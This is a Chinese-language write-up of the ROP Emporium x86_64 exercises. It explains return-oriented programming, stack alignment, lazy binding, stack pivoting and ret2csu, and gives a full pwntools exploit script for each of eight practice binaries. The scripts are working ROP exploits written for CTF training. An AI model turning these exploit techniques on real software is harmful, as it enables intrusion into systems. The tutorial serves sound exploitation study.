ROP ROP(Return Oriented Programming)即返回导向编程 ,其主要思想是在 栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。
gadgets 通常是以 ret
结尾的指令序列,通过这样的指令序列,我们可以多次劫持程序控制流,从而运行特定的指令序列,以完成攻击的目的。
返回导向编程这一名称的由来是因为其核心在于利用了指令集中的 ret 指令,从而改变了指令流的执行顺序,并通过数条 gadget “执行” 了一个新的程序。
使用 ROP 攻击一般得满足如下条件:
程序漏洞允许我们劫持控制流,并控制后续的返回地址。
可以找到满足条件的 gadgets 以及相应 gadgets 的地址。
作为一项基本的攻击手段,ROP 攻击并不局限于栈溢出漏洞,也被广泛应用在堆溢出等各类漏洞的利用当中。
需要注意的是,现代操作系统通常会开启地址随机化保护(ASLR),这意味着 gadgets 在内存中的位置往往是不固定的。但幸运的是其相对于对应段基址的偏移通常是固定的,因此我们在寻找到了合适的 gadgets 之后可以通过其他方式泄漏程序运行环境信息,从而计算出 gadgets 在内存中的真正地址。
ROP Emporium 以下题解都是x86_64架构的题目题解。在x86_64架构中,我们需要注意它的传参规则:参数优先通过rdi、rsi、rdx、rcx、r8、r9寄存器传递,如有还有剩余参数则通过栈传递 。同时还需要注意,x86_64架构中有很多高级指令要求栈对齐(16bytes对齐) 。
ret2win 以x86_64架构的题目为例进行分析。
很明显read
这里存在缓冲区溢出,通过构造特定的输入可以使返回地址指向ret2win
函数,该函数如下:
这样一来就可以得到flag。
脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import * sh = process('./ret2win' ) elf = ELF('./ret2win' ) ret2win_func_addr = elf.symbols["ret2win" ] ret_addr = 0x400755 payload = b'0' * (32 + 8 ) + p64(ret_addr) + p64(ret2win_func_addr) sh.sendline(payload) sh.interactive() sh.close()
由于x86_64架构需要栈对齐(16bytes对齐),所以需要在p64(ret2win_func_addr)
前加retn指令的地址填充,这样就会在调用system()
函数时,栈是对齐的。
这个是否对齐可以进行gdb动调,如果执行movaps指令时rsp不是16字节对齐,那么就需要添加ret指令来对齐
结果如下:
split 差不多的pwnme
函数,这里就不放图了。显然这个函数也是存在缓冲区溢出漏洞。查找字符串,发现/bin/cat flag.txt
字符串(没有被引用),而且恰好又存在system
函数,这不就可以构造一个ROP链了!(usefulFunction
函数没用,因为它内部调用system
函数时的参数并不能帮助我们获得flag,所以需要我们手动构造参数传递并调用system
函数)
根据x86_64的传参规则:参数优先通过rdi、rsi、rdx、rcx、r8、r9寄存器传递,如有还有剩余参数则通过栈传递 。
因此我们需要找到pop rdi;ret;
指令(称之为gadget
),这样我们可以通过pop rdi
传递/bin/cat flag.txt
字符串,再通过ret
将rip
指向system
函数首地址(或call system
指令的首地址)。
我是用的是ROPgadget 工具帮我找这样的gadget
:
地址对应代码如下(pop rdi
的硬编码为5f
):
找到这样的gadget
之后,初步构造的ROP链应该如下(还未添加ret指令进行栈对齐):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 低地址+----------------+ <- rsp| 填充字符 | <- 局部变量s(32bytes) +----------------+ | 填充字符 | <- 原调用者的rbp (8bytes) +----------------+ |pop rdi;ret;地址| <- 调用该函数的返回地址 +----------------+ |usefulString addr| +----------------+ | system addr | +----------------+ | ...... | +----------------+ 高地址
然后对应的payload如下:
1 payload = b'a' * (32 + 8 ) + p64(pop_ret_addr) + p64(usefulString_addr) + p64(system_addr)
gdb跟随调试,自然是出现了栈未对齐的错误:
从上面两幅图可以看出,真正要求栈对齐的是movaps
指令,并不是说我们在调用system
等函数时必须栈对齐!!!(之前一直理解错了,以为是函数调用时栈必须对齐,我说怎么这么奇怪呢)
为了修正栈未对齐的问题,我们需要在payload中添加一个ret指令,可行的方法有如下两种:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 低地址 +---------------- + <- rsp +---------------- + <- rsp | 填充字符 | <- 局部变量s(32bytes) | 填充字符 | <- 局部变量s(32bytes) +---------------- + +---------------- + | 填充字符 | <- 原调用者的rbp (8bytes) | 填充字符 | <- 原调用者的rbp (8bytes) +---------------- + +---------------- + |pop rdi;ret;地址| <- 调用该函数的返回地址 | ret地址 | <- 调用该函数的返回地址 +---------------- + +---------------- + |usefulString地址| |pop rdi;ret;地址| +---------------- + +---------------- + | ret地址 | |usefulString地址| +---------------- + +---------------- + | system地址 | | system地址 | +---------------- + +---------------- + | ...... | | ...... | 高地址
不可在pop rdi;ret
与usefulString
之间添加ret
,这样会打破ROP链原本功能,因为我们让执行pop rdi
就是为了弹usefulString
的地址给rdi
,作为system()
的参数。
最终脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import * sh = process("./split" ) system_addr = 0x400560 pop_ret_addr = 0x4007c3 ret_addr = 0x400741 usefulString_addr = 0x601060 payload = b'a' * (32 + 8 ) + p64(ret_addr) + p64(pop_ret_addr) + p64(usefulString_addr) + p64(system_addr) sh.sendline(payload) sh.interactive() sh.close()
callme 同样的pwnme()
函数同样的漏洞,额外存在三个外部导入函数:callme_one
、callme_two
、callme_three
,它们都来自libcallme.so
动态库。
callme_one
函数要求传入的三个参数等于特定值,功能为读取encrypted_flag.dat
中的数据。
callme_two
函数也要求传入的三个参数等于特定值,功能为读取key1.dat
的数据,用于 encrypted_flag.dat
中的数据解密。
callme_three
函数也要求传入的三个参数等于特定值,功能为读取key2.dat
的数据,用于 encrypted_flag.dat
中的数据解密,然后输出解密结果。
思路肯定是通过栈溢出使得能够调用以上三个函数。为此我们需要寻找pop rdi;pop rsi;pop rdx;ret
这样的gadget
,或者pop rdi;ret;
、pop rsi;ret;
、pop rdx;ret;
这样的gadget
。
初步ROP链构造如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 低地址 +--------------------+ <- rsp | 填充字符 | <- 局部变量s (32 bytes) +--------------------+ | 填充字符 | <- 原调用者的rbp (8 bytes) +--------------------+ <------------①----------- 如果栈未对齐,可选一处位置添加ret指令 | pop |pop |pop |ret 地址 | <- 调用该函数的返回地址 | +--------------------+ | | a1 | | +--------------------+ ② | a2 | | +--------------------+ | | a3 | | +--------------------+ <------------------------------------- | callme_one 地址 | +--------------------+ | pop |pop |pop |ret 地址 | +--------------------+ | a1 | +--------------------+ | a2 | +--------------------+ | a3 | +--------------------+ | callme_two 地址 |+--------------------+ | pop |pop |pop |ret 地址 | +--------------------+ | a1 | +--------------------+ | a2 | +--------------------+ | a3 | +--------------------+ | callme_two 地址 |+--------------------+ 高地址
gdb调试后发现fopen
函数内有movaps
指令,因此需要栈对齐。
最终脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import * sh = process("./callme" ) gadget_addr = 0x40093c param_a1 = 0xDEADBEEFDEADBEEF param_a2 = 0xCAFEBABECAFEBABE param_a3 = 0xD00DF00DD00DF00D callme_one_addr = 0x400720 callme_two_addr = 0x400740 callme_three_addr = 0x4006F0 ret_addr = 0x4008f1 payload = (b'a' * (32 + 8 ) + p64(gadget_addr) + p64(param_a1) + p64(param_a2) + p64(param_a3) + p64(ret_addr) + p64(callme_one_addr) + p64(gadget_addr) + p64(param_a1) + p64(param_a2) + p64(param_a3) + p64(callme_two_addr) + p64(gadget_addr) + p64(param_a1) + p64(param_a2) + p64(param_a3) + p64(callme_three_addr)) sh.send(payload) sh.interactive() sh.close()
write4 函数主要功能在libwrite4.so
动态库中,整个思路是通过pwnme
函数的缓冲区溢出调用print_file
函数,读取flag.txt
文件并输出flag。然而心心念念的flag.txt
字符串并不存在于程序中,因此如何构造gadget
使得我们能够在内存中写入这并读取样的字符串成为了关键。
官方文档提示寻找mov [reg], reg
这样的gadget
可以让我们写值到内存中(比如.bss
段和.data
段)。也就是说,前一个reg
的值得是.bss
段或.data
段的地址,后一个reg
的值得是flag.txt
字符串。要想实现写操作,又得需要pop|pop|ret
这样得gadget
,且前后两个gadget
中的reg
得相同。经过查找,发现只有r14
、r15
满足。
对于写操作部分的ROP链,示意图如下:
1 2 3 4 5 6 7 8 9 10 11 低地址 +---------------------------------------+ | pop r14;pop r15;ret;指令地址 | +---------------------------------------+ | .bss/.data段中的地址 | +---------------------------------------+ | "flag.txt"字符串 | +---------------------------------------+ | mov qword ptr [r14], r15; ret指令地址 | +---------------------------------------+ 高地址
之后就是从内存中读取”flag.txt“字符串并调用print_file
函数,需要用到pop rdi;ret
这样的gadget
,对应读操作部分的ROP链如下:
1 2 3 4 5 6 7 8 9 低地址 +---------------------------------------+ | pop rdi;ret;指令地址 | +---------------------------------------+ | .bss/.data段中相同的地址 | +---------------------------------------+ | print_file函数地址 | +---------------------------------------+ 高地址
一开始还在想怎么获取print_file
函数地址(毕竟只知道在libwrite4.so
中的偏移量)呢,结果发现write4
程序中的usefulFunction
函数调用了 print_file
函数,这样一来我们就可以通过plt
表调用该函数了。
最终脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import * sh = process("./write4" ) ret_addr = 0x400616 gadget_ppr_addr = 0x400690 data_addr = 0x601030 insert_data = "flag.txt" .encode() gadget_mr_addr = 0x400628 gadget_pr_addr = 0x400693 print_file_func_addr = 0x400510 payload = b'a' * (32 + 8 ) + p64(ret_addr) payload += p64(gadget_ppr_addr) + p64(data_addr) + insert_data + p64(gadget_mr_addr) payload += p64(gadget_pr_addr) + p64(data_addr) payload += p64(print_file_func_addr) sh.sendline(payload) sh.interactive() sh.close()
badchars 同write4题目一样,只不过多了一个输入检查。我们只需要在原来的基础上,通过xor|ret
或add|ret
或sub|ret
这样的gadget
修复即可。
可以在write4题目中的写、读ROP链之间,添加多个如下ROP链以修复flag.txt
字符串:
1 2 3 4 5 6 7 8 9 10 11 低地址 +---------------------------------------+ | pop r14;pop r15;ret;指令地址 | +---------------------------------------+ | 字符ASCII码 + 21 | +---------------------------------------+ | 待修复的字符所在.bss/.data段中的地址 | +---------------------------------------+ | add [r15], r14b;ret;指令地址 | +---------------------------------------+ 高地址
不过需要注意的是之前使用的mov qword ptr [r14], r15; ret
这样的gadget
没有了,需要使用mov qword ptr [r13], r12;ret
这样的gadget
,同时搭配pop r12;pop r13;pop r14;pop r15;ret;
的gadget
使用,这样就需要额外的16bytes填充字符。
最终脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import * sh = process("./badchars" ) ret_addr = 0x400616 pop_r12_13_r14_r15_ret = 0x40069c data_addr = 0x601030 insert_data = "flag.txt" .encode() mov_r13_r12_ret = 0x400634 pop_rdi_ret = 0x4006a3 print_file_func_addr = 0x400510 pop_r14_r15_ret = 0x4006a0 add_r15_r14b_ret = 0x40062c payload = b'A' * (32 + 8 ) + p64(ret_addr) payload += p64(pop_r12_13_r14_r15_ret) + insert_data + p64(data_addr) + b'a' * 16 payload += p64(mov_r13_r12_ret) payload += p64(pop_r14_r15_ret) + p64(ord ("a" ) + 21 ) + p64(data_addr + 2 ) + p64(add_r15_r14b_ret) payload += p64(pop_r14_r15_ret) + p64(ord ("g" ) + 21 ) + p64(data_addr + 3 ) + p64(add_r15_r14b_ret) payload += p64(pop_r14_r15_ret) + p64(ord ("." ) + 21 ) + p64(data_addr + 4 ) + p64(add_r15_r14b_ret) payload += p64(pop_r14_r15_ret) + p64(ord ("x" ) + 21 ) + p64(data_addr + 6 ) + p64(add_r15_r14b_ret) payload += p64(pop_rdi_ret) + p64(data_addr) payload += p64(print_file_func_addr)print (f'payload = {payload} ' ) sh.sendline(payload) sh.interactive() sh.close()
fluff 同write4一样,需要我们将flag.txt
写入内存,不过这次使用的是另一种gadget
组合。直接看给出的questionableGadgets
:
1 2 3 4 5 6 7 8 9 10 11 12 .text: 0000000000400628 questionableGadgets:.text: 0000000000400628 xlat .text: 0000000000400629 retn .text: 000000000040062A .text: 000000000040062A pop rdx .text: 000000000040062B pop rcx .text: 000000000040062C add rcx , 3EF2h .text: 0000000000400633 bextr rbx , rcx , rdx .text: 0000000000400638 retn .text: 0000000000400639 .text: 0000000000400639 stosb .text: 000000000040063A retn
查阅了xlat
、bextr
、stosb
指令的作用。
xlat
指令:使用 AL
寄存器中的值作为索引,从内存地址 DS:RBX + AL
处检索一个字节,将这个字节的值加载到 AL
寄存器中。
bextr
指令:指令格式为bextr dest, src, control
。其中dest
是目标寄存器,用于存储提取的位域结果。src
是源寄存器,从中提取位域。control
是控制寄存器,指定了要提取的位域的起始位置(由低8bits(0~7)决定)和长度(由高8bits(8~15)决定)。
stosb
指令:将 AL
寄存器中的字节值存储到 RDI
寄存器指向的内存位置,RDI
寄存器自增或自减(DF
标志位决定)。
初步思路就是使用xlat
指令从内存中取flag.txt
中的各个字符,再通过stosb
指令存储到rdi
寄存器指定的位置。取字符的话需要修正rbx
寄存器,可以通过questionableGadgets
中的第5~9
行修正,但是地址还受到al
寄存器的影响,可是并不存在这样的pop gadget
来修改al
寄存器。
因此对于最开始的al
寄存器的值,我们只能动调程序运行完pwnme
函数后查看。而对于后续的al
寄存器的值,是通过xlat
指令改变的,这一改变我们是可以明确知道的(即al
中的值会变成当前我们所要寻找的字符的值)。
整个ROP链构造如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 低地址 +------------------------------------------------+ | 32 + 8bytes字符填充 | +------------------------------------------------+ | ret指令修正栈对齐 | +------------------------------------------------+ | pop rdi;ret;指令地址 | +------------------------------------------------+ | 存放字符串的地址 | +------------------------------------------------+ ------ | pop rdx;pop rcx;add...;bextr...;ret指令地址 | | +------------------------------------------------+ | | 0x4000 (图个方便,直接变成mov rbx, rcx) | | +------------------------------------------------+ | | 字符所在地址 - al -0x3EF2 (这个值pop到rcx) | |-------> 第一轮,移动'f'字符 +------------------------------------------------+ | | xlat;ret;指令地址 | | +------------------------------------------------+ | | stosb;ret指令地址 | | +------------------------------------------------+ ------ | 剩余7轮构造flag.txt | | ...... | | | +------------------------------------------------+ ---- | pop rdi;ret;指令地址 | | +------------------------------------------------+ |----->xlat指令修改了rdi,需要进行修正 | 存放字符串的地址 | | +------------------------------------------------+ ---- | print_file函数地址 | +------------------------------------------------+ 高地址
对应脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import * sh = process("./fluff" ) ret_addr = 0x400627 pop_rdi_ret = 0x4006a3 string_addr = 0x601030 pop2_add_bextr_ret = 0x40062A xlat_ret = 0x400628 stosb_ret = 0x400639 store_rdx_val = 0x4000 al_val = 0xb file_name = "flag.txt" alp_addr_list = [0x4003c4 , 0x400239 , 0x4003d6 , 0x4003cf , 0x4003c9 , 0x4003d5 , 0x400246 , 0x4003d5 ] print_file_addr = 0x400510 payload = b'a' * (32 + 8 ) + p64(ret_addr) payload += p64(pop_rdi_ret) + p64(string_addr)for i in range (len (alp_addr_list)): payload += p64(pop2_add_bextr_ret) + p64(store_rdx_val) + p64(alp_addr_list[i] - al_val - 0x3EF2 ) payload += p64(xlat_ret) + p64(stosb_ret) al_val = ord (file_name[i]) payload += p64(pop_rdi_ret) + p64(string_addr) payload += p64(print_file_addr) sh.sendline(payload) sh.interactive() sh.close()
pivot
要求我们输入a1
和s
,s
的输入存在栈溢出,但是也只有24bytes可用于ROP链的构造,显然是不太够的。但是题目会输出a1
的值,指向的是在main
函数中动态开辟的空间,再加上如下gadget
,可以构造栈迁移的ROP链,使栈指针rsp
指向堆栈中的动态空间。
其中xchg
指令用于交换两个寄存器的值。
栈迁移的ROP
链的示意图如下:
1 2 3 4 5 6 7 8 9 10 11 低地址+------------------------------------------------+ | 32 + 8bytes字符填充 | 40bytes +------------------------------------------------+ | pop rax;ret;指令地址 | 8bytes+------------------------------------------------+ | 接收到的a1 | 8bytes +------------------------------------------------+ | xchg rax, rsp;ret;指令地址 | 8bytes +------------------------------------------------+ 高地址
接下来通过分析以及提示,我们可以知道需要构造ROP链调用ret2win
函数,但是在pivot
程序中并没有导入ret2win
函数,但是导入了foothold_function
函数,这两个函数都在libpivot.so
动态库中。因此我猜测可能要通过foothold_function
函数作为踏板来调用ret2win
函数,如果我们知道foothold_function
函数和ret2win
函数在libpivot.so
动态库的偏移量,也就知道了它们之间的差值,又由于pivot
程序中导入了foothold_function
函数,因此我们可以知道foothold_function
函数的地址,这样一来就可以求出ret2win
函数地址。但是,我们需要注意的是,程序中的外部导入函数的调用涉及到懒绑定 。
懒绑定 懒绑定 ,即函数直到第一次被调用时才进行地址绑定。这个过程涉及到.plt
表和.got.plt
表(简称.got
表):
.plt(Procedure Linkage Table)
.plt
表包含一系列的跳转指令,用于调用外部函数。每个函数在 .plt
中都有一个对应的入口,该入口最初指向 .plt
中的一段代码,用于解析函数地址。
got.plt(Global Offset Table for PLT)
.got.plt
表包含指针,这些指针最初指向 .plt
表中的某些指令。当函数地址被解析后,这些指针会被更新为函数的实际地址。
懒绑定 具体原理如下:
初始调用 :
当程序第一次调用一个外部函数(如 puts
)时,调用会进入 .plt
表中对应的入口。
动态链接器解析 :
动态链接器(如 _dl_runtime_resolve
)会查找函数的实际地址。
查找到函数的实际地址后,动态链接器会将该地址写入 .got.plt
表中的相应位置。
后续调用 :
在函数地址解析之后,.got.plt
表中的地址已被更新为函数的实际地址。
后续对该函数的调用会直接跳转到函数的实际地址,而不再需要经过动态链接器。
理解了懒绑定之后,回到题目上来,为了能够确切的获取.got.plt
表中foothold_function
函数地址,我们就需要手动调用一次该函数。通过寻找,发现可用以下gadget
来构造出我们想要的ROP
链。
通过以上gadget
,构造如下ROP
链调用ret2win
函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 低地址 +------------------------------------------------+ | foothold_function@plt | +------------------------------------------------+ | pop rax;ret;指令地址 | +------------------------------------------------+ | foothold_function@got | +------------------------------------------------+ | mov rax, qword ptr [rax];ret;指令地址 | +------------------------------------------------+ | pop rbp;ret;指令地址 | +------------------------------------------------+ | ret2win - foothold_function的差值 | +------------------------------------------------+ | add rax, rbp; ret;指令地址 | +------------------------------------------------+ | call rax;指令地址 | +------------------------------------------------+ 高地址
exp 最终脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import * sh = process("./pivot" ) elf_pivot = ELF("./pivot" ) elf_libpivot = ELF("./libpivot.so" ) ret_addr = 0x4006b6 pop_rax_ret = 0x4009bb xchg_ret = 0x4009bd foothold_function_plt = elf_pivot.plt["foothold_function" ] foothold_function_got = elf_pivot.got["foothold_function" ] offset = elf_libpivot.sym["ret2win" ] - elf_libpivot.sym["foothold_function" ] mov_rax2_ret = 0x4009c0 pop_rbp_ret = 0x4007c8 add_rax_rbp_ret = 0x4009c4 call_rax = 0x4006b0 sh.recvuntil(b'The Old Gods kindly bestow upon you a place to pivot: ' ) a1_pointer = int (sh.recvuntil(b'\n' ), 16 ) payload1 = b'a' * (32 + 8 ) + p64(pop_rax_ret) + p64(a1_pointer) + p64(xchg_ret) payload2 = p64(foothold_function_plt) payload2 += p64(pop_rax_ret) + p64(foothold_function_got) payload2 += p64(mov_rax2_ret) payload2 += p64(pop_rbp_ret) + p64(offset) payload2 += p64(add_rax_rbp_ret) payload2 += p64(call_rax) sh.recvuntil(b'> ' ) sh.sendline(payload2) sh.recvuntil(b'> ' ) sh.sendline(payload1) sh.interactive() sh.close()
ret2csu 类似callme
题目,我们所要调用的ret2win
函数需要传入3个参数,通过查找pop|ret
这样的gadget
发现程序中并不存在pop rdx
这样的指令,因此第3个参数的传递构造就成了难题。
官方提示了__libc_csu_init
这样的函数,它里面使用到了各种不同的寄存器。我们观察这个函数,可以发现存在如下非常有用的gadget
:
假如我们先执行gadget1
再执行gadget2
,那么就可以通过r13
、r14
、r15
寄存器将第一、二、三个参数传递给edi
、rsi
、rdx
(注意mov edi, r13d
会将rdi
的高32bits清零)。然后我们又可以通过控制r12
和rbx
,这样一来就可以通过call
指令调用我们想调用的函数了。
但由于第一个参数是64bits的,显然想通过gadget2
中的call
指令调用ret2win
函数并输出flag
是行不通的。因此以上操作只能使第三个参数存储到rdx
中,但由于call
指令的存在,我们需要寻找合适的函数以确保它所调用的函数不会修改rdx
的值。同时,为了使得我们在执行完gadget2
后能够继续控制代码流,我们需要控制rbp
和rbx
的值(通常简单地设置rbp
=1,rbx
=0),使其在jnz
指令处继续往下执行,最终到达retn
指令。
注意到frame_dummy
函数并不会更改rdx
的值,因此我们可以让[r12+rbx*8]
指向该函数(注意是r12+rbx*8
对应地址里的值为函数地址)。
经过以上分析,我们构造出最终的ROP链如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 低地址+------------------------------------------------+ | 40bytes填充字符 | +------------------------------------------------+ | gadget1所在地址 | +------------------------------------------------+ | 0(rbx) | +------------------------------------------------+ | 1(rbp) | +------------------------------------------------+ | 存储frame_dummy函数地址的地址(r12) | (即0x600DF0处的__frame_dummy_init_array_entry) +------------------------------------------------+ | 0(r13) | +------------------------------------------------+ | 0(r14) | +------------------------------------------------+ | 第三个参数的值(r15) | +------------------------------------------------+ | gadget2所在地址 | +------------------------------------------------+ | 8bytes填充字符(add rsp,8)+48bytes填充字符(5个pop) | +------------------------------------------------+ | pop rdi;ret;指令地址 | +------------------------------------------------+ | 第一个参数的值 | +------------------------------------------------+ | pop rsi;pop r15;ret;指令地址 | +------------------------------------------------+ | 第二个参数的值 | +------------------------------------------------+ | 8bytes填充字符 | +------------------------------------------------+ | call _ret2win指令地址 | 高地址
最终脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import * sh = process("./ret2csu" ) ret_addr = 0x4006A4 pop_rdi_ret = 0x4006a3 pop_rsi_r15_ret = 0x4006a1 csu_gadget1 = 0x40069A csu_gadget2 = 0x400680 param1 = 0xDEADBEEFDEADBEEF param2 = 0xCAFEBABECAFEBABE param3 = 0xD00DF00DD00DF00D call_ret2win_addr = 0x40062a ret2win_plt_addr = 0x400510 frame_dummy_addr = 0x600df0 payload = b'a' * (32 + 8 ) payload += p64(csu_gadget1) + p64(0 ) + p64(1 ) + p64(frame_dummy_addr) + p64(0 ) + p64(0 ) + p64(param3) payload += p64(csu_gadget2) payload += b'a' * 8 payload += 6 * p64(0 ) payload += p64(pop_rdi_ret) + p64(param1) payload += p64(pop_rsi_r15_ret) + p64(param2) + p64(0 ) payload += p64(call_ret2win_addr) sh.sendline(payload) sh.interactive() sh.close()
参考:
ROP Emporium
Beginners’ guide (ropemporium.com)
ROPgadget: This tool lets you search your gadgets on your binaries to facilitate your ROP exploitation. ROPgadget supports ELF, PE and Mach-O format on x86, x64, ARM, ARM64, PowerPC, SPARC, MIPS, RISC-V 64, and RISC-V Compressed architectures. (github.com)
求助,做pwn题ciscn_2019_c_1时栈平衡的问题
PLT & GOT 表动态链接详解及 pwn 应用_.got.plt 的序号-CSDN博客
28479-return-oriented-programming-(rop-ftw).pdf (exploit-db.com)
asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR-wp.pdf (blackhat.com)
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/basic-rop/